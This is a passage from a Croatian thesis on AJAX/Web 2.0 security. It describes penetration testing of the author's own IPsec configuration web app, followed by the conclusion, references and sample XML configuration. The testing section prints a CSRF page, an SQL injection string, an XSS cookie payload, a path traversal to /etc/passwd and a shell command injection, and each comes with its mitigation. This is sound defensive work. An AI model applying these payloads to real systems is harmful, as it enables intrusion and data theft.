autentificirani korisnik vri izmjene postojeih ili stvara nove konfiguracije, ili vri
pretvorbu generike konfiguracije u konfiguraciju specifinu za IKE aplikaciju;
autentificirani korisnik vri pohranu konfiguracija u bazu podataka ili na tvrdi disk;
funkcijom. Korisniko ime i stvoreni niz znakova se alju posluitelju koji uvidom u zabiljeeni
sluajni niz znakova i MD5 zapis korisnike zaporke pokuava autentificirati korisnika. Ovime je
izvrena implementacija CHAP protokola.
Nakon uspjene autentifikacije, mogui tokovi podataka su bazirani na sljedeem, kako prikazuje
slika 4.26. Korisnik zadaje akciju klikom na vezu. Preglednik alje AJAX zahtjev prema aplikaciji
na posluitelju. Punja provjerava da li je korisnik autentificiran, mijenja klju sjednice i
preusmjerava obradu traenoj kontroli. Kontrola odreuje o kojoj akciji se radi te ju izvrava.
86
Tijekom izvravanja se puni predloak pogleda, koji se zatim vraa klijentskom pregledniku.
Preglednik prihvaa podatke i umee ih u DOM stablo te izvrava JavaScript kd koji je primio
zajedno s podacima.
CSRF napad
Ukoliko je napada upoznat s nainom rada aplikacije, koritenjem CSRF napada preko
korisnika koji ima valjanu sjednicu (ukoliko ga prevari tako da korisnik u pregledniku otvori
zloudnu stranicu), mogue je izvriti naredbe na aplikaciji. Vrlo teko je zatititi bilo koju
aplikaciju od ove vrste napada. Iznimno je vano da se korisnik nakon rada odjavi s
aplikacije te da pazi koje stranice, veze i elektronike poruke koristi dok ima valjanu
sjednicu.
88
Testiranje aplikacije Paros-om zapoinje definiranjem aplikacije koju elimo testirati, te poetnim
pretraivanjem postojeih resursa na posluitelju. Obzirom da WebIKE aplikacija ukoliko korisnik
nije prijavljen, dozvoljava pristup iskljuivo /login/index stranici, Paros e pokuati pristupiti
oekivanim resursima, ali e ga posluitelj preusmjeriti na /login/index. Sve to e Paros otkriti
tijekom ove faze pretrage, su JavaScript datoteke u direktoriju /build koje su vezane na
/login/index stranicu. U ovoj fazi Paros oito nije otkrio nita to se runo ne moe dohvatiti
pokuajem pristupa aplikaciji.
Obzirom da Paros radi kao posrednik, korisniku koji testira aplikaciju u interesu je da Paros dobije
informacije o svim moguim zahtjevima prema aplikaciji. Stoga se preporua u pregledniku (nakon
postavljanja pristupa aplikaciji kroz Paros posrednik) izvriti prijavu na sustav i runo, surfanjem po
aplikaciji i izvoenjem svih njezinih funkcija dozvoliti Paros-u da detektira sve zahtjeve koje klijent
alje prema posluitelju da bi se identificirali svi koriteni resursi. Tada Paros moe izvriti
automatsko testiranje aplikacije. Rezultati testiranja prikazuju se u obliku izvjetaja, kao na slici
4.28.
Nakon to je Paros testirao sve pojedine resurse aplikacije, uvidom u izvjetaj koji je generirao i
zapise o resursima koje je testirao vidljivo je da ovaj nain testiranja nije dao kvalitetne rezultate.
Prema izvjetaju, detektirana su ukupno etiri problema. Jedan srednje teine, gdje se preporuuje
iskljuivanje "autocomplete" opcije u HTML polju za unos korisnikog imena pri prijavi, da
preglednik ne bi vrio automatsko postavljanje korisnikog imena i zaporke za prijavu u polje
formulara ukoliko ju je pohranio pri nekoj prethodnoj prijavi. Od ostala tri problema, dva se odnose
na detektiranu datoteku /login/dologin~ koja je oznaena kao privremena kopija datoteke
89
nastala uslijed izmjena datoteke na sustavu. Meutim, nije tono poznato koji je
razlog detektiranja ove datoteke, obzirom da nam je poznato da je /login/dologin resurs zapravo
akcija dologin klase kontrole login te da datoteka zapravo ne postoji. Zadnji problem je detekcija
otkrivanja privatnih IP adresa tijekom komunikacije, tonije Paros je otkrio da se u zahtjevima i
odgovorima prenose privatne IP adrese. Detaljnijim uvidom vidimo da se radi o IP adresama koje se
nalaze u podacima konfiguracijskih datoteka koji se prenose izmeu klijenta i posluitelja te ovo
moemo smatrati nunim i ne toliko opasnim za sustav. Pregledom zapisa resursa koje je testirao,
vidljivo je da je Paros imao problem u pristupu resursima te da je praktiki sva testiranja vrio na
javno dostupnim resursima kao to su JavaScript datoteke, jer je nepoznavanjem logike aplikacije i
mehanizma prijave, neuspjeno pokuavao pristupiti resursima namijenjenim prijavljenom
korisniku.
/login/dologin
komentira, ali i obzirom na nain autentifikacije, standardno SQL umetanje tipa 1' OR '1'='1 ne daje
rezultate. ak i kada bi se uspjelo prevariti aplikaciju natjeravi je SQL umetanjem da odabere prvo
postojee korisniko ime iz baze podataka, nije realno oekivati da bi se vrijednost zaporke
uspjeno usporedila.
Ono to neautorizirani korisnik jo moe pokuati jest presretanje, prislukivanjem prometa izmeu
autoriziranog klijenta i aplikacije. Ukoliko se prema preporuci koristi SSL enkripcija veze, te uz
njenu ispravnu konfiguraciju, napada je nemoan jer je sav promet za njega nerazumljiv. Ukoliko
se SSL enkripcija ne koristi, napada je u mogunosti vidjeti sve podatke koji se prenose izmeu
klijenta i posluitelja, to ukljuuje identifikator sjednice u zaglavlju zahtjeva i odgovora, ali i
korisniko ime i CHAP zapis zaporke pri prijavi na sustav. Ukoliko napada prepozna CHAP
mehanizam, u mogunosti je otkriti zaporku koju korisnik koristi za prijavu. Ovo moemo
simulirati snimanjem prometa u oba sluaja.
Ukoliko se SSL ne koristi, napada moe snimiti proces prijave korisnika te dohvatiti podatke za
prijavu iz dva HTTP zahtjeva i odgovora. Iz kda stranice za prijavu napada moe izvui algoritam
prijave koji se koristi, to je vidljivo na slici 4.29.
Slika 4.29. Izvorni kd stranice s JavaScript kdom vidljiv je pri prijenosu podataka
Tonije, napada moe prepoznati da se radi o CHAP protokolu, ali i vrijednost saetka koji se
dodaje na kriptiranu zaporku te obzirom na vrijednost saetka zaporke poslanog u sljedeem
koraku, reverznim postupkom moe otkriti valjanu zaporku za prijavu. Korisniko ime se alje u
izvornom obliku pa je lako dohvatljivo, kao to se vidi na slici 4.30.
tog zahtjeva, alje se valjani kolai sjednice te bi napada posredstvom korisnika mogao izvriti
neku akciju na aplikaciji. Ukoliko korisnik posjeti stranicu sadraja kao u ispisu 4.5, dok je
prijavljen na WebIKE aplikaciju,
Ispis 4.5. Primjer stranice za CSRF napad na aplikaciju
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
</head>
<body>
<img src="http://192.168.11.128/zend-ike/disc/delete?filename=proba.xml"/>
</body>
</html>
Ukoliko referer polje zahtjeva nije jednako adresi posluitelja, zahtjev se odbacuje
preusmjeravanjem kao u sluaju da se ne radi o autoriziranom korisniku. Nakon detekcije ovog
propusta, kd je dodan u punilac aplikacije pa bi ovaj napad bilo mogue izvriti jedino s
posluitelja na kojem je i aplikacija.
Ukoliko je napada autorizirani korisnik aplikacije, jasno je da ima vee mogunosti na cijelom
sustavu. Obzirom na logiku aplikacije, nekoliko je mogunosti napada.
Napada moe pokuati umetanje JavaScript kda u dijelove aplikacije koje moe mijenjati. To se
prije svega odnosi na konfiguracijske datoteke. Korisnik je u mogunosti u konfiguracijsku datoteku
dodati standardni XSS JavaScript kd, npr. <script>alert(document.cookie);</script>, kao
na slici 4.31.
92
Ovaj izraz se nee filtrirati pri pohrani datoteke, ali e se zato pri ponovnom prikazu datoteke
izvriti HTML kdiranje sadraja pa preglednik ovaj izraz nee shvatiti kao HTML znakove. U
sluaju da se ovo pravilo ipak zaobie nekim nestandardnim kdiranjem, eventualno postoji
mogunost izvoenja JavaScript kda. Meutim, obzirom da se sadraj konfiguracijske datoteke
postavlja unutar HTML textarea oznake u kojoj se sav sadraj tretira kao tekst, potrebno ju je
zatvoriti da bi se izraz tretirao kao HTML kd, a ne kao sadraj unutar textarea oznake. to se tie
XML datoteke, ovaj tip napada je jo tei jer se postupkom parsiranja XML datoteke pri stvaranju
stabla ovaj izraz tretira kao vor i ralanjuje, kako je vidljivo na slici 4.32.
Najranjiviji bi mogao biti HTML prikaz datoteke, gdje se sadraj datoteke prikazuje kao HTML
dodavanjem u DOM stablo, ali uspjenim HTML kdiranjem se izvoenje kda izbjegava, kako
prikazuje slika 4.33.
nekog drugog posrednikog alata izmijenimo zahtjev prije slanja tako da umjesto zahtjeva
/disc/load?filename=proba.conf
poaljemo
zahtjev
/disc/load?filename=../../../../etc/passwd, aplikacija e za ureivanje otvoriti
/etc/passwd datoteku, kako je prikazano na slici 4.34.
Ovakav pristup datotekama mogu je iskljuivo koritenjem ovlasti korisnikog rauna posluitelja
(www-data) koji moe pristupiti svim javnim datotekama, kao i ostali korisnici na posluitelju.
Onemoguavanje se moe izvriti u modelu disc, kako pri uitavanju, tako i pri pohrani datoteke,
tako da se koritenjem real_path() PHP funkcije dozna stvarni put koji korisnik trai
(eliminacijom ../ tako da izraz iz gornjem zahtjevu bude jednak /etc/passwd) i provjerom da li
taj put odgovara npr. direktoriju /var/www/webike/confs/ u kojem se nalaze konfiguracije). Ovaj
propust se dakle ne odnosi samo na spomenute datoteke, ve na sve datoteke kojima korisniki
raun posluitelja ima pristup, to ukljuuje i PHP datoteke aplikacije, kao i config.ini datoteku.
U sklopu pokretanja racoon alata, aplikacija izdaje naredbe kroz konzolu sustava (engl. shell).
Umetanjem nove naredbe u neke od parametara pokretanja racoon alata, moemo uzrokovati
izvoenje te naredbe u konzoli, meutim ovo je ponovno ogranieno ovlastima korisnikog rauna
posluitelja i dodatnim ovlastima administratorskog izvoenja kroz sudoers datoteku. Ukoliko kao
dodatni argument pokretanja racoon alata umetnemo izraz ; cat /etc/passwd >
/var/www/zend-ike/confs/racoon.log gdje je /var/www/zend-ike/confs/racoon.log
datoteka koja se koristi za zapise, nakon pokretanja racoon alata, izvrit e se i pohrana sadraja
/etc/passwd datoteke u datoteku zapisa, te e se osvjeavanjem zapisa sadraj /etc/passwd
datoteke prikazati meu zapisima racoon alata, kako prikazuje slika 4.35. Onemoguavanje se moe
izvriti kontrolom unosa korisnika prije pokretanja alata, to se prvenstveno odnosi na znak ";" koji
slui odvajanju naredbi u konzoli sustava.
94
Slika 4.35. Sadraj /etc/passwd datoteke prikazan meu zapisima racoon alata
Posljednja dva problema nisu ispravljena postavljanjem ogranienja, iako bi se to lako moglo
ostvariti, iskljuivo da bi se omoguila fleksibilnost korisnika aplikacije. Upravo stoga, potrebno je
napomenuti da bi korisnici aplikacije trebale biti osobe od povjerenja administratora.
95
5. Zakljuak
Razvoj Web-a u zadnjem desetljeu uveo je mnotvo novih mogunosti, ali i mnotvo novih
problema. Putem od poetaka i statikog sadraja, pa do dananjih viemedijskih, interaktivnih i
dinamikih sadraja i usluga koje Web nudi, provlai se stalna potreba za napretkom u svim
segmentima i smjerovima, ali i njihova zatita. Web zadnjih nekoliko godina, posebice od poetka
Web 2.0 evolucije, postaje nova raunalna i komunikacijska platforma. Evolucija Web-a postavlja
nove ciljeve u razvoju, ali e sigurnost zasigurno ostati jedan od glavnih aspekata. Veina se jo nije
navikla na injenicu kako Web posluitelj vie nije glavna karika sigurnosti, ve da su to postali i
klijent i komunikacijski kanal, gdje je sigurnosti potrebno posvetiti ako ne veu, onda barem
jednaku panju, kako u trenutnom stadiju, tako i u novostima koje tehnologija donosi.
Kroz primjere u ovome radu, prikazani su trendovi u razvoju zloudnog kda, prvenstveno na
klijentskoj strani u JavaScript jeziku, koji preuzimaju glavnu ulogu u napadima na korisnike, ali i na
pruatelje usluga. Vrlo je znaajan trend opadanja broja tradicionalnih oblika virusa i ogromno
poveanje broja Internet crva i ostalog zloudnog kda koji postoji i iri se iskljuivo na Internet
mrei kao svojoj platformi.
Aplikacija stvorena u praktinom radu je predviena za dodatna proirenja mogunosti, posebice u
smjeru upotpunjenja podrke za IKEv2 alat, ali i kao ogledni primjer AJAX aplikacije. Dodatno
osnaivanje sigurnosnih mehanizama aplikacije treba vriti paralelno s proirenjem mogunosti.
Takoer, u aplikacijama koje su specifine po zahtjevima kao ova, mogue je raspravljati o upitnoj
isplativosti koritenja AJAX-a ondje gdje moda i nije potreban, tj. koritenje AJAX-a samo radi
AJAX-a. Pitanje je jesu li za ovaj tip aplikacije Web platforma i AJAX model nuni, posebice u fazi
testiranja, jer iako daju aplikaciji dodatnu interaktivnost, dovode do znaajnih komplikacija pri
proirenju.
Matija Zeman
_________________
96
6. Literatura
[1]
[2]
http://www.ajaxprogrammer.com/?p=17
[26] W3C working draft XMLHttpRequest object, dostupno na Internet adresi
http://www.w3.org/TR/XMLHttpRequest/
[27] Shreeraj Shah, Hacking Web 2.0 Applications with Firefox, dostupno na Internet
adresi http://www.securityfocus.com/infocus/1879
[28] Chris Shiflett: Cross-Site Request Forgeries, dostupno na Internet adresi
http://shiflett.org/articles/cross-site-request-forgeries
[29] Chris Shiflett: Foiling Cross-Site Attacks, dostupno na Internet adresi
http://shiflett.org/articles/foiling-cross-site-attacks
[30] WhiteHat Security publication - Myth-Busting AJAX (In)security, dostupno na
Internet adresi
http://www.whitehatsec.com/home/resources/articles/files/myth_busting_ajax_insecurity.ht
ml
[31] Shreeraj Shah: Top 10 Ajax Security Holes and Driving Factors, dostupno na
Internet adresi http://www.net-security.org/article.php?id=956
[32] Jeremiah Grossman: Goodbye applet - hello nated IP address, dostupno na Internet
adresi
http://jeremiahgrossman.blogspot.com/2007/01/goodbye-applet-hello-nated-ip-address.html
[33] Same-Origin Policy Part 1 - Why were stuck with things like XSS and XSRF/CSRF,
dostupno na Internet adresi
http://taossa.com/index.php/2007/02/08/same-origin-policy/
[34] GNUCITIZEN Backdooring flash objects, dostupno na Internet adresi
http://www.gnucitizen.org/blog/backdooring-flash-objects/
[35] GNUCITIZEN Backdooring flash objects receipt, dostupno na Internet adresi
http://www.gnucitizen.org/blog/backdooring-flash-objects-receipt/
[36] GNUCITIZEN Backdooring quicktime movies, dostupno na Internet adresi
http://www.gnucitizen.org/blog/backdooring-quicktime-movies/
[37] Bill Brenner: Report warns of critical flaw in Web 2.0, dostupno na Internet adresi
http://searchsecurity.techtarget.com/originalContent/0,289142,sid14_gci1249966,00.html
[38] GNUCITIZEN Attack API, dostupno na Internet adresi
http://www.gnucitizen.org/projects/attackapi/
[39] Browser fun Browser bugs, tricks and hacks, dostupno na Internet adresi
http://browserfun.blogspot.com/
[40] Abe Fettig: How to make XmlHttpRequest calls to another server in your domain,
dostupno na Internet adresi http://fettig.net/weblog/2005/11/28/how-to-makexmlhttprequest-connections-to-another-server-in-your-domain/
[41] Ha.ckers blog, dostupno na Internet adresi http://ha.ckers.org
[42] WhiteHat Security, dostupno na Internet adresi http://www.whitehatsec.com
[43] The Web Application Security Consortium, dostupno na Internet adresi
http://www.webappsec.org
[44] PHPClasses, dostupno na Internet adresi http://www.phpclasses.org
[45] MyAppSecurity Attack Labs, dostupno na Internet adresi http://www.attacklabs.com/
[46] ModSecurity 2, dostupno na Internet adresi www.modsecurity.org
[47] OpenLaszlo the premier open-source platform for rich internet applications, dostupno
na Internet adresi http://www.openlaszlo.org/
[48] Adobe Flex 2 development framework, dostupno na Internet adresi
http://www.adobe.com/products/flex/
[49] Shreeraj Shah blog, dostupno na Internet adresi http://shreeraj.blogspot.com/
[50] Tim O'Reilly: Web 2.0 Compact Definition Trying again, dostupno na Internet
adresi http://radar.oreilly.com/archives/2006/12/web_20_compact.html
[51] W3C Document Object Model (DOM), dostupno na Internet adresi
98
[52]
[53]
[54]
[55]
[56]
[57]
[58]
[59]
[60]
[61]
[62]
[63]
[64]
[65]
[66]
[67]
[68]
http://www.w3.org/DOM
RFC 4627 The application/json Media Type for JavaScript Object Notation,
dostupno na Internet adresi http://www.ietf.org/rfc/rfc4627.txt
RFC 2965 HTTP State Management Mechanism, dostupno na Internet adresi
http://www.ietf.org/rfc/rfc2965.txt
Amit Klein: HTTP Response Smuggling, dostupno na Internet adresi
http://www.cgisecurity.com/lib/http_response_smuggling.shtml
Amit Klein: HTTP Response Splitting, Web Cache Poisoning Attacks and Related
Topics White Paper, dostupno na Internet adresi
http://www.packetstormsecurity.org/papers/general/whitepaper_httpresponse.pdf
Jeremiah Grossman: Cross-site tracing, dostupno na Internet adresi
http://www.cgisecurity.com/whitehat-mirror/WH-WhitePaper_XST_ebook.pdf
Chaim Linhart, Amit Klein, Ronen Heled, Steve Orrin: HTTP Request Smuggling,
dostupno na Internet adresi
http://www.watchfire.com/resources/HTTP-Request-Smuggling.pdf
Mozilla Same origin policy, dostupno na Internet adresi
http://www.mozilla.org/projects/security/components/same-origin.html
DWR Direct Web Remoting, dostupno na Internet adresi http://getahead.org/dwr/
Firebug Firefox dodatak, dostupno na Internet adresi http://www.getfirebug.com/
Chickenfoot Firefox dodatak, dostupno na Internet adresi
http://groups.csail.mit.edu/uid/chickenfoot/
Anton Rager: XSS Proxy, dostupno na Internet adresi
http://xss-proxy.sourceforge.net/
Jeremiah Grossman: Jikto - crossing the line, dostupno na Internet adresi
http://jeremiahgrossman.blogspot.com/2007/03/jikto-crossing-line.html
Joris Evers: Tool turns unsuspecting surfers into hacking help, dostupno na Internet
adresi http://news.com.com/2100-1002_3-6169034.html
SPI Dynamics, dostupno na Internet adresi http://www.spidynamics.com/
Brian Chess, Yekaterina Tsipenyuk O'Neil, Jacob West: JavaScript Hijacking,
dostupno na Internet adresi
http://www.fortifysoftware.com/servlet/downloads/public/JavaScript_Hijacking.pdf
ASP.NET AJAX, dostupno na Internet adresi http://ajax.asp.net/
Jeremiah Grossman: JavaScript malware, dostupno na Internet adresi
https://www.blackhat.com/presentations/bh-usa-06/BH-US-06-Grossman.pdf
99
101
102
hmac_sha256|hmac_sha384|hmac_sha512|non_auth" />
</restriction>
</simpleType>
</schema>
103
<CERTpath>/etc/CERT.crt</CERTpath>
<KEYpath>/etc/CERT.key</KEYpath>
</Certificates>
</AuthMethod>
</Authentication>
<Lifetime>3600 s</Lifetime>
<Proposal>
<Encryption>
<Algorithm>3des</Algorithm>
</Encryption>
<Hash>
<Algorithm>md5</Algorithm>
</Hash>
<Lifetime>3600 s</Lifetime>
<DH>modp768</DH>
</Proposal>
</Remote>
<SA>
<Tunnel>
<LocalTunnelEndpoint>
<IPAddress>192.168.1.1</IPAddress>
<Port>any</Port>
</LocalTunnelEndpoint>
<RemoteTunnelEndpoint>
<IPAddress>192.168.2.1</IPAddress>
<Port>any</Port>
</RemoteTunnelEndpoint>
</Tunnel>
<Encryption>
<Algorithm>3des</Algorithm>
</Encryption>
<Authentication>
<Algorithm>des</Algorithm>
</Authentication>
<PFS>modp768</PFS>
</SA>
<SA>
<Anonymous>anonymous</Anonymous>
<Encryption>
<Algorithm>3des</Algorithm>
</Encryption>
<Authentication>
<Algorithm>des</Algorithm>
</Authentication>
<PFS>modp768</PFS>
</SA>
</IPSec>
</WEBIke:IKE>
105